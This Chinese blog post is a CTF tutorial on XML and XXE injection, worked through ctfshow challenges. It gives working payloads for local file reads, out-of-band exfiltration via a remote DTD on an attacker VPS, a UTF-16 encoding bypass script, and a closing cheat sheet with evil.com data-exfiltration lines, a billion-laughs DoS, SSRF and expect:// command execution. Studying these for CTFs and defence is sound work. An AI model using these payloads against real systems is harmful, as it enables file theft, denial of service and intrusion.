友情提示:本文最后更新于 432 天前,文中的内容可能已有所发展或发生改变。 0x01 前言 前两天看了一下xxe的题目,感觉也可以来补补这个基础知识来,为了这个,还浅浅的了解了一下伪协议
0x02 question xml了解 XML(Extensible Markup Language ,可扩展标记语言)是一种用于存储和传输数据的标记语言,它类似于 HTML,但更加灵活,主要用于定义数据,而不是显示数据。XML 的设计目标是数据的可移植性 、可读性 以及易于扩展 。也就是和序列化差不多的特点(但是不能混为一谈哦)
XML 文档的结构通常由三部分组成:XML 声明 、**DTD(可选的文档类型定义) **和 **元素(内容部分) **。
写一个xml的demo来分析这三个结构
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE bookstore SYSTEM "bookstore.dtd">
<bookstore>
<book category= "fiction" >
<title lang= "en" > The Great Gatsby</title>
<author> F. Scott Fitzgerald</author>
<year> 1925</year>
<price> 10.99</price>
</book>
<book category= "non-fiction" >
<title lang= "en" > Sapiens: A Brief History of Humankind</title>
<author> Yuval Noah Harari</author>
<year> 2011</year>
<price> 14.99</price>
</book>
</bookstore>
xml声明 这个东西就类似于,使用C语言编程的
所以也就是基本固定的,只不过有些选项是可选的
1
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
standalone="yes":表示这个 XML 文档是否依赖外部的 DTD 或其他外部实体。选项有:
yes:表示文档是自包含的,不依赖外部定义。no:表示文档依赖外部 DTD 或实体。但是由于我们xxe是xml外部实体注入 (等会说),所以肯定是不写这个或者是写no
DTD 而这里又分为内部实体\外部实体\字符实体\参数实体,都是为了方便做参数替换来使用的,可以帮助简化和减少代码冗余。然后再使用&进行调用(和C一样)
1
2
3
<!DOCTYPE user [
<!ENTITY file SYSTEM "file:///flag">
]>
一个很普通的DTD,这里主要就是想强调一个点
这里是要写根元素的,而不是想怎么写就怎么来(实际上好像不这么写也能生效)
内部实体 比如说
1
2
3
4
5
6
<!DOCTYPE example [
<!ENTITY author "Linjiang Zheng">
]>
<example>
<author> &author; </author>
</example>
那么此刻author表单的内容就是Linjiang Zheng
外部实体 1
<!ENTITY 实体名称 SYSTEM "URL or path">
还是写个Demo
1
2
3
4
5
6
7
<!DOCTYPE llw [
<!ENTITY file SYSTEM "file:///flag">
]>
<user>
<username> &file; </username>
<password> 1</password>
</user>
就比如我们常见的,直接利用协议进行flag的读取
这些协议都可以使用
参数实体 1
<!ENTITY % 实体名称 SYSTEM "URL or path">
与外部实体略有不同
1
2
3
4
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>
注意这种写法只可以在dtd文件中使用,也就是打无回显的xxe
字符实体 预定义 这些是XML标准中已经定义好的一些常见字符,例如:
1
2
3
4
5
< 表示小于号 <
> 表示大于号 >
& 表示与号 &
" 表示双引号 "
' 表示单引号 '
数字 十进制数字实体 :形式为 &#decimal;,其中 decimal 是字符的十进制Unicode码点。十六进制数字实体 :形式为 &#xhex; 或 &#Xhex;,其中 hex 是字符的十六进制Unicode码点。比如说
1
2
<user> < </user>
<user> < </user>
都表示<
原字符 预定义 十六进制参考 十进制参考 """"&&&&''''<<<<>>>>
这张表格由于解析问题只能手做服了
PCDATA&&CDATA PCDATA 是 “Parsed Character Data” 的缩写,表示可解析的字符数据 。也就是说,PCDATA 中的字符会被解析器解析,并根据 XML 或 HTML 的语法规则进行处理。
在 PCDATA 中,某些字符(如 <、& 等)不能直接使用,必须进行转义或作为标签来使用。例如 < 被解析为标签的开始,& 被解析为实体引用的开始。
1
2
3
4
<note>
<to> Tove</to>
<message> Hello,< world> </b> !</message>
</note>
CDATA 是 “Character Data” 的缩写,表示不可解析的字符数据 。也就是说,CDATA 部分的内容会被当作纯文本处理,不会进行解析。
CDATA 区块中的所有字符,包括特殊字符(如 <、> 和 &),都会被当作原始文本保留,而不是作为标签或实体解析。
1
<message> <![CDATA[Hello, <b>world</b>!]]> </message>
特性 PCDATA CDATA 解析 解析器会解析 PCDATA 的内容,并识别标签或实体引用。 CDATA 中的内容不会被解析,全部作为文本处理。 使用特殊字符 必须对特殊字符(如 < 和 &)进行转义。 特殊字符可以直接使用,不需要转义。 典型用途 适用于普通文本和可解析的标记内容。 适用于代码片段或不希望被解析的文本内容。 定义形式 直接包含在元素内容中。 使用 <![CDATA[...]]> 声明来包含数据。 嵌套标签 可以解析嵌套标签(如 <b>),并按标签的定义渲染。 嵌套标签不会被解析成标记,而是作为文本内容显示。
元素 1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to> George</to>
<from> John</from>
<heading> Reminder</heading>
<body> Don't forget the meeting!</body>
</note>
元素顺序是固定了的,所以在书写的时候也必须按着这个写,然后捏插入特殊符号也不能直接写
xml的书写特性
所有XMl元素必须有一个闭合标签 XMl标签对大小写敏感 XMl必须正确嵌套 XML属性值必须加引号 实体引用 在XMl中,空格会被保留 xxe 看了上面的东西其实也就会写个最简单的请求,不要晕了
xxe是xml外部实体注入漏洞 ,那么既然是外部实体,所以其他的也就没有那么的重要,既然是注入那么这里有张图可以参考
那么漏洞原理是什么呢
让服务端在解析XML文档时,对声明的外部实体进行引用,实际触发攻击者预定的文件、网络等资源操作,甚至是执行系统命令
这里的Demo就选择ctfshow web入门的xxe模块吧
Demo1 1
2
3
4
5
6
7
8
9
10
11
12
13
<? php
error_reporting ( 0 );
libxml_disable_entity_loader ( false );
$xmlfile = file_get_contents ( 'php://input' );
if ( isset ( $xmlfile )){
$dom = new DOMDocument ();
$dom -> loadXML ( $xmlfile , LIBXML_NOENT | LIBXML_DTDLOAD );
$creds = simplexml_import_dom ( $dom );
$ctfshow = $creds -> ctfshow ;
echo $ctfshow ;
}
highlight_file ( __FILE__ );
可以进行外部实体加载,并且正常读取xml文档,读取ctfshow元素,根元素自己写
写个poc
1
2
3
4
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<wi><ctfshow> &xxe; </ctfshow></wi>
直接打入即可,刚写的时候可能是容易写错的,我就写错了,所以建议找个在线xml辨别器
Demo2 web374
1
2
3
4
5
6
7
8
9
10
<? php
error_reporting ( 0 );
libxml_disable_entity_loader ( false );
$xmlfile = file_get_contents ( 'php://input' );
if ( isset ( $xmlfile )){
$dom = new DOMDocument ();
$dom -> loadXML ( $xmlfile , LIBXML_NOENT | LIBXML_DTDLOAD );
}
highlight_file ( __FILE__ );
这里一看就没有回显了,所以payload其实不用太大的改变,只是我们需要进行dtd的远程书写一下
现在自己vps上面写一个test.dtd,我建议是在dtd里面写多些关键文件,这样子是不会被pass的
1
2
3
4
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag" >
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://ip:9999/?x=%file;'>" >
%eval;
%exfiltrate;
payload
1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://ip/test.dtd"> %xxe;]>
<root><ctfshow> 123;</ctfshow></root>
然后监听端口9999即可,这里的IP必须写能够进行web服务的,如果是开的特殊端口的话要把端口加上
其实我自己写的时候卡了一会,因为我不理解为什么定义参数实体的时候写成%而不是直接就写%,后来想了想问了几个师傅,其实应该算是一种固定格式吧,因为参数实体的定义是
1
2
3
% name
这里为了正常的解析
% 也就是使用了16进制字符实体,这里的;是为了隔断解析方式
比如前面解析的时候是用的Unicode,但是我后面是需要正常解析才行的,所以就用;进行隔断
可能还有一个小小的疑惑(第二天早上突然发现)就是为什么没有进行&xxe;的实体调用,我看网上很多payload都是这么写的,但是我这里三个实体都是参数实体 ,直接就调用了 ,所以在他们进行外部实体 调用的时候我随便写个123也可完成xxe
Demo3 1
2
3
4
5
6
7
8
9
10
11
12
13
<? php
error_reporting ( 0 );
libxml_disable_entity_loader ( false );
$xmlfile = file_get_contents ( 'php://input' );
if ( preg_match ( '/<\?xml version="1\.0"|http/i' , $xmlfile )){
die ( 'error' );
}
if ( isset ( $xmlfile )){
$dom = new DOMDocument ();
$dom -> loadXML ( $xmlfile , LIBXML_NOENT | LIBXML_DTDLOAD );
}
highlight_file ( __FILE__ );
那么当禁用了http的时候我们怎么操作呢,很简单,写个脚本来编码绕过即可
1
2
3
4
5
6
7
8
import requests
url = "https://91baacfb-f234-4f53-bc4f-412652b34241.challenge.ctf.show/"
data = '''
<!DOCTYPE foo [<!ENTITY % x xe SYSTEM "http://27.25.151.48:12138/test.dtd"> %x xe;]>
<root>123;</root>
''' . encode ( 'utf-16' )
r = requests . post ( url , data , verify = False )
其实这里的话这个元素怎么猜,这就是能猜了呀,因为本身是ctfshow的本台要么就是ctfshow,要么就是root这些默认的,不写声明也能xxe大家应该知道吧
Demo4 ctfshow web378
这里直接默认就登录成功了,也不需要爆破,但是没有进入理想的页面,抓包发现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Rsponse :
function doLogin (){
var username = $ ( "#username" ). val ();
var password = $ ( "#password" ). val ();
if ( username == "" || password == "" ){
alert ( "Please enter the username and password!" );
return ;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>" ;
$ . ajax ({
type : "POST" ,
url : "doLogin" ,
contentType : "application/xml;charset=utf-8" ,
data : data ,
dataType : "xml" ,
anysc : false ,
success : function ( result ) {
var code = result . getElementsByTagName ( "code" )[ 0 ]. childNodes [ 0 ]. nodeValue ;
var msg = result . getElementsByTagName ( "msg" )[ 0 ]. childNodes [ 0 ]. nodeValue ;
if ( code == "0" ){
$ ( ".msg" ). text ( msg + " login fail!" );
} else if ( code == "1" ){
$ ( ".msg" ). text ( msg + " login success!" );
} else {
$ ( ".msg" ). text ( "error:" + msg );
}
},
error : function ( XMLHttpRequest , textStatus , errorThrown ) {
$ ( ".msg" ). text ( errorThrown + ':' + textStatus );
}
});
}
这里看到源码,从这里也可以浅浅的看到
1
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>" ;
xxe确实是一种注入的攻击手法
看到是进行xml文档的登录,所以直接xxe,这里看一下发包吧主要就是也有一些地方要改
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Request:
POST /doLogin HTTP/1.1
Host: 75a0196a-e978-4264-86a2-1cccf066c2a6.challenge.ctf.show
Cookie: cf_clearance=VDdapNbpwbPn6a1IM_PxJ0JXmcd0KRqr0Bf_cjtzjRY-1722865983-1.0.1.1-z9eFIJzdq2FOhOt1m9jPdicCjw4UPrBmoItiz1nAqzyxbXVOdGYDAqZJdUurUqU3FJLTgOSn3lo8Eml1_VWjXg
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=0, i
Connection: close
Content-Type: application/xml;charset=utf-8
Content-Length: 122
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&xxe;</username><password>123</password></user>
这四个Demo基本就覆盖了一些类型,当然肯定有其他的进攻点,但是手法思路都是这个,只需要改改协议什么的就可以了
还有就是这四个Demo的,有些特别是blind不用和我写的一样,我其实发现了很多写法,可以自己尝试一下
参考payload 文件读取 1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo> &xxe; </foo>
blind 文件读取 1
2
3
4
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://evil.com/xxeoobdetector"> %xxe;
]>
<foo/>
1
2
3
<!ENTITY % file SYSTEM "file:///etc/passwd" >
<!ENTITY % def "<!ENTITY % send SYSTEM 'http://evil.com/?data=%file;'>" >
%def; %send;
DDoS 1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY dos "dos">
<!ENTITY dos1 "&dos;&dos;&dos;&dos;&dos;">
<!ENTITY dos2 "&dos1;&dos1;&dos1;&dos1;&dos1;">
<!ENTITY xxe "&dos2;&dos2;&dos2;&dos2;&dos2;">
]>
<foo> &xxe; </foo>
ssrf\include 1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://192.168.1.1:8080/">
]>
<foo> &xxe; </foo>
RCE 1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" > ]>
<catalog>
<core id= "test101" >
<description> &xxe; </description>
</core>
</catalog>
fix 直接禁用外部实体加载即可,或者是bypass这方面多点关键词
0x03 小结 这篇文章我本人觉得写的很烂,因为并没有从代码中去实际的探寻其中的奥秘,而且网上参考资料也很少,所以这里给十月的我立一个flag ,从某个CVE中再度解析xxe
0x04 reference 网上的大部分文章都有看,感谢师傅们!